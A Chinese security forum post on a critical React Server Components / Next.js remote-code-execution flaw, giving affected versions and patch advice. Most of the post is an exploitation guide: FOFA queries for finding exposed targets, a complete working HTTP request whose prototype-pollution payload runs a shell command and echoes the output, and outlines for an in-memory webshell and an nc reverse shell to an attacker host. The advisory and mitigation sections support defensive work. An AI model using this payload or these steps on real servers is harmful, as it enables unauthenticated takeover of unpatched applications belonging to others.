找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

431

积分

0

好友

55

主题
发表于 4 小时前 | 查看: 2| 回复: 0

近期,React生态中披露了一个高危的远程代码执行(RCE)漏洞。该漏洞源于React Server Components在处理“Flight”协议时存在不安全的反序列化逻辑,攻击者可在未经身份验证的情况下实现远程代码执行。此漏洞被分配为CVE-2025-55182(影响React核心包)和CVE-2025-66478(影响Next.js框架),其CVSS风险评分为10.0,属于最高级别的安全威胁。据测绘引擎统计,受影响的资产数量超过254万台。

漏洞原理

漏洞的根本原因在于React Server Components解码发送至服务器函数端点的载荷(payload)时,存在路径解析缺陷。其机制是通过冒号来分隔对象属性以实现嵌套取值(例如,$1:a:b 对应 {"a":{"b":"foo"}}.a.b),但系统未对属性是否存在进行校验。当传入$1:a:a这类路径时,会尝试访问{}.a.a,从而触发服务端500错误。攻击者可进一步构造特殊的payload,利用原型链污染和代码注入技术,最终实现远程命令执行。

影响范围

该漏洞的影响主要分为React核心包下游Next.js框架两个层面:

  • React核心包:影响 react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopack 的以下版本:19.0.0, 19.1.0, 19.1.1, 19.2.0。
  • Next.js框架:作为基于Node.js的流行框架,Next.js因捆绑了存在漏洞的React包而受到影响。仅启用React Server Components和App Router功能的应用存在风险。具体影响版本包括:Next.js 15.x 全系列 (v15.0.0 - v15.5.6)、v16.0.0 - v16.0.6,以及 v14.3.0-canary.77 及之后的测试版本。

资产探测语法 (FOFA)

可以使用以下语法在FOFA等平台搜索潜在受影响的目标:

app="Next.js" && body="/_next/static/chunks/app/"
body="react.production.min.js" || body="React.createElement(" || app="React.js" || app="Dify"

漏洞复现与POC利用

以下展示几种不同场景下的漏洞利用证明(Proof of Concept)。请注意,所有POC均需发送特定的HTTP POST请求,其核心结构类似,主要通过修改name="0"字段的payload来实现不同效果。

基础请求包示例
POST /apps HTTP/1.1
Host: [目标地址]
User-Agent: Mozilla/5.0 ...
Next-Action: x
X-Nextjs-Html-Request-Id: 0OySzliul7lMdEUPchXuS
X-Nextjs-Request-Id: ygdkgols
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 691

----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
----WebKitFormBoundaryx8jO2oVc6SWP3Sad--

响应中若包含命令执行结果(如uid信息),则证明漏洞存在。

POC 1:无回显命令执行

此POC适用于仅需验证漏洞是否存在,而不需要查看命令执行结果的场景。例如,可用于在目标服务器上静默执行calc.exe(计算器)程序。 请求包结构与基础示例一致,需替换name="0"字段内的payload为相应编码。

POC 2:有回显命令执行

通过构造NEXT_REDIRECT错误信息,可以将命令执行的结果直接回显在HTTP响应中。上述基础请求包示例即实现了执行id命令并回显结果的功能。

POC 3:内存马植入

此POC旨在实现更持久的后渗透控制。通过劫持Node.js http.Server实例的emit方法,在服务器内存中植入一个Webshell,新增一个/exec接口用于执行命令。

  1. 发送植入内存马的恶意请求(替换特定payload)。
  2. 植入成功后,访问 http://[目标地址]/exec?cmd=whoami 即可执行系统命令并获得回显。
POC 4:反弹Shell

通过执行nc等命令,让受害服务器主动连接攻击者控制的监听端口,从而获取一个交互式Shell。

  1. 在攻击机上使用nc -lvp [端口]监听。
  2. 向目标发送构造好的请求包,payload中包含连接攻击机的命令(如 nc [攻击机IP] [端口] -e /bin/sh)。

修复建议

官方已在React包的19.0.1、19.1.2、19.2.1版本中修复了此漏洞,Next.js也同步发布了安全更新。建议所有用户:

  1. 立即升级:将受影响的React Server相关包升级至最新安全版本。对于Next.js应用,请升级框架至 v15.5.7+、v16.0.7+ 或更新的稳定版本。
  2. 临时缓解措施
    • 在Web应用防火墙(WAF)或网关层,拦截包含异常Next-Action: x请求头的请求。
    • 严格校验或限制以multipart/form-data格式发往RSC(React Server Components)端点的请求。 对于专注于安全渗透测试的团队,在协助客户进行安全评估后,应强烈建议客户按照上述方案进行修复。

参考链接




上一篇:Let's Encrypt 通配符SSL证书实战:从生成到部署与自动续期指南
下一篇:EDUSRC证书站小程序漏洞挖掘实战:信息收集与越权漏洞案例分析
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区(YunPan.Plus) ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-6 21:55 , Processed in 0.086192 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 CloudStack.

快速回复 返回顶部 返回列表